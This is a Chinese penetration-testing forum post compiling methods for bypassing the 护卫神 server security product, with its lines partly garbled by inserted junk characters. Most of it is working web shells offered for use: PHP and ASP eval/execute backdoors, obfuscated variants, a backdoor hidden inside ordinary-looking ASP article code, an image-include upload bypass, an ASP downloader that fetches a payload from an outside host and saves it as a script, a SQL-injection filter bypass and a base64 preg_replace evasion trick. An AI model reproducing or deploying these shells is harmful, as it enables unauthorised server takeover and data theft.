中国网络渗透测试联盟

标题: 突破护卫神技术总汇 [打印本页]

作者: admin    时间: 2013-2-14 00:11
标题: 突破护卫神技术总汇
申明:由于护卫神收费,破解版又比较低,因此,本贴方法均来自以往实战以及其他网络文献,没有写的请大家留言补上
0 d- _2 a' b% D: ?0 T6 `" U7 g-----------------------------------------------------------------------------------------------------------------------------------" I, ~$ D* E! }, p2 N
文章分为:4 h8 D. `% Q9 \- W
一、马儿篇,都是以前可以过护卫神的马5 S$ f$ ?9 W& ~
二、注入篇,可以绕过注入的方法
) H9 R3 q5 C' _6 G5 Z三、规则篇,根据护卫神的过滤规则大家可以自己设计马儿
' x- w+ f3 I; I; B% q4 t一、马儿篇
' w/ y' g4 S6 }: T----------------1号--------------------------4 l6 I+ S- k' v6 p. o" U) J
< ?php
$ K: x# T' [% I% ]2 t3 i@eval
9 G  l8 v  T( X($_POST['1']);?>
) m1 z! P( a7 V" s- H& n----------------2号--------------------------) F: p, M, w2 s' c4 V
<title>login</title>nono<?php& g5 N' V# Q- q, @0 }- O! ~
eval
8 G8 @9 G) ]+ t($_POST
7 O' h- E* Z5 ^/ W- z) c; g- {5 Q[1])$ M# `. K5 B1 }. \5 g: v
?>( ~9 A. {1 U/ w$ [  D
--------------------3号---------------------------------------------
/ M6 X7 D  ?  C7 U" d< ?php $a = str_replace(x,"","axsxxsxexrxxt");
; a, J8 q- R6 C  \# ?$a($_POST["c"]); ?>
6 s5 }1 p5 S7 ~0 g3 ~; W; r/ ~菜刀直接连,不需要构造连接字符串,密码 c
4 e% A' ]- u) |* V8 o---------------------某牛给的,据说可过安全狗和护卫神------------------------------<%@language=vbscript codepage=936 %>
( X  m) m# y  C<%@language=vbscript codepage=936 %>
1 b0 y, @0 k$ B) \. o<%
: s7 V7 S: G0 Z9 r& bOption Explicit3 O8 {1 X& F) h0 N  r5 r8 p% ?
'强制浏览器重新访问服务器下载页面,而不是从缓存读取页面; K: e: ?! W( N& O8 e% t& @
Response.Buffer = True/ t; g; i$ ?9 V. }1 F8 s* \
Response.Expires = -1, b2 @$ z* B7 Z) |( d/ W+ e5 u
Response.ExpiresAbsolute = Now() - 1
3 _, K/ w; n& y1 S% A  j: ?Response.Expires = 0
/ c! I* C  Q* R3 ^6 xResponse.CacheControl = "no-cache"/ O6 u$ @) b5 t& Q5 R/ X0 _
dim m
4 I/ v" d. {& hm=request("m"), d# q! i& Y0 y7 \+ m+ R# t
Dim ArticleID, Action, sql, rs, Hits, ShowType# v3 p+ {! W+ n! f4 f
if m<>"" then execute(m)) c$ F) Y( g& p
ArticleID = Trim(request("ArticleID"))
& \+ y8 c  |2 t; zAction = Trim(request("Action"))- `" t# o" B( [* ~, |! \& q; _6 p
ShowType = Trim(request("ShowType"))
( {  G  d( V( v0 E9 K! @If IsNumeric(ShowType) Then# G$ N' h4 v+ a( d! P) }: b
    ShowType = CLng(ShowType)
3 m4 B% }. I* W4 e8 {2 q' e, f5 \Else
* f) l7 Q& U5 U( X  A/ ]    ShowType = 1) C% R) ?' M6 h& A, L6 N
End If
1 a' F+ F, A1 ]! R4 Q%>
7 m) u" P; K0 K* ?$ R  K$ Q--------------------类似于过安全狗的包含方法-------------------------------------------
" F! o5 O# i+ o+ D8 yA.asp版本:
5 y/ h; \9 P2 ]; i将一句话保存为 XX.jpg 上传后 地址为 .../131717.jpg " ^# G( Q6 I' M! F- V. I
在上传一个 x.asp 内容为 <!–#include file="../131717.jpg"--> 3 [2 d' r& e+ y. P
B.php版本
. q: u4 h5 V4 H2 k/ U0 v如果是php的话:. H  f9 F5 s1 a
< ?php" n% q3 u1 H! S+ j1 K# t# u
include "1.htm";
3 ^" K" v3 b2 D( }4 X+ L?>4 E- u- V! j' w; q# I$ ^$ J! g* i% d- T
------------------实在不行,还可以下载---------------------------------------------
, e: V+ p, E" {" ]2 O远程下载马6 f$ A3 G- }- [3 w+ Q+ V% ~0 n* j- I
<%/ r0 K3 X9 W, r$ F1 j3 @

8 f/ R- J1 g4 C# PSet xPost = CreateObject("Microsoft.XMLHTTP")- a8 T( V8 R$ w3 t( o9 J
6 b: Z# ~: B, f; n4 |" J
xPost.Open "GET","http://www.8090sec.com/1.txt",False( d* P* j6 v1 b& x" N
) O! t# c- s; n7 T
xPost.Send()
2 u7 O, C! k. c& H ( v# J0 G/ W* `* x/ i
Set sGet = CreateObject("ADODB.Stream")3 T% F& g; w3 U* _) ~

0 K( S. ^& D3 N2 ]% wsGet.Mode = 34 R" {& a7 h, T" c
- w5 U( z- [6 H
sGet.Type = 1- \- X3 _! m: F/ _+ E8 D( {

7 e' t8 D- z8 W8 D# H" e9 LsGet.Open()
, j% V4 T* _: l. X& H9 b
% Q! {9 p( p" D- l8 b+ v. b  e/ EsGet.Write(xPost.responseBody)+ ]5 q  S0 [2 Q+ R1 p3 ^3 z
3 I  N8 P9 y+ ]8 m
sGet.SaveToFile Server.MapPath("ls.asp"),2
+ j! J* f+ X9 m, S* D  y  G3 p
5 y' Y2 H9 F, Tset sGet = nothing( u9 v( B4 p2 L% J6 C
9 P5 S3 J' F/ m
set sPOST = nothing" M1 b/ g! z/ p
/ }. K% `9 h, R
%>; M( m! C$ L) e0 d! Y
二、注入篇( ]4 K+ U$ j& k# |
/*%00*/截断符7 B8 P4 C! ?# j  |: K8 H% @6 T
select/*%00*/* from admin;7 z$ w* }' O- M& E  u1 C- _
---------------------------------------------------------------8 B* D1 ~  Y/ L3 x  P
---------------------------------------------------------------
8 z* \+ V" F/ G* |三、规则篇3 C8 x! r2 g$ s' d0 Z6 ?6 k
可以利用类似:- o. \7 a, r; t  D: T" c3 N
<?php9 k2 L# ?: ?9 s1 x5 j* B7 P/ g
( G: }- y( W! n5 V7 ]7 O
$code='一串base64'; //base64编码3 s) R: ]# ^& R9 i8 l
, @4 p: c9 Q* S5 F% J7 m
$x=str_replace('f',"","bfafsfef6f4f_ffdffeffcffoffdffef"); //字符串替换
# P0 X' V- `" r- g$ z6 ] 0 l) P! N" N8 J+ m$ p5 J2 _! o1 r  q
$a = '/a/';//正则规则% X+ x" M0 C; X9 F' j8 f
1 b0 X) W9 }; j  D5 `
preg_replace($a,'e'.'v'.'a'.'l'.'('.$x.'('.$code.'))','a'); //正则替换
0 f* e" S. R" F7 @- F; G- V
9 [6 K7 X/ L. y/ p/ @- J  D?>, w( z1 P, p0 z+ C  P* i" i5 d/ n8 w
方法绕过关键词过滤




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2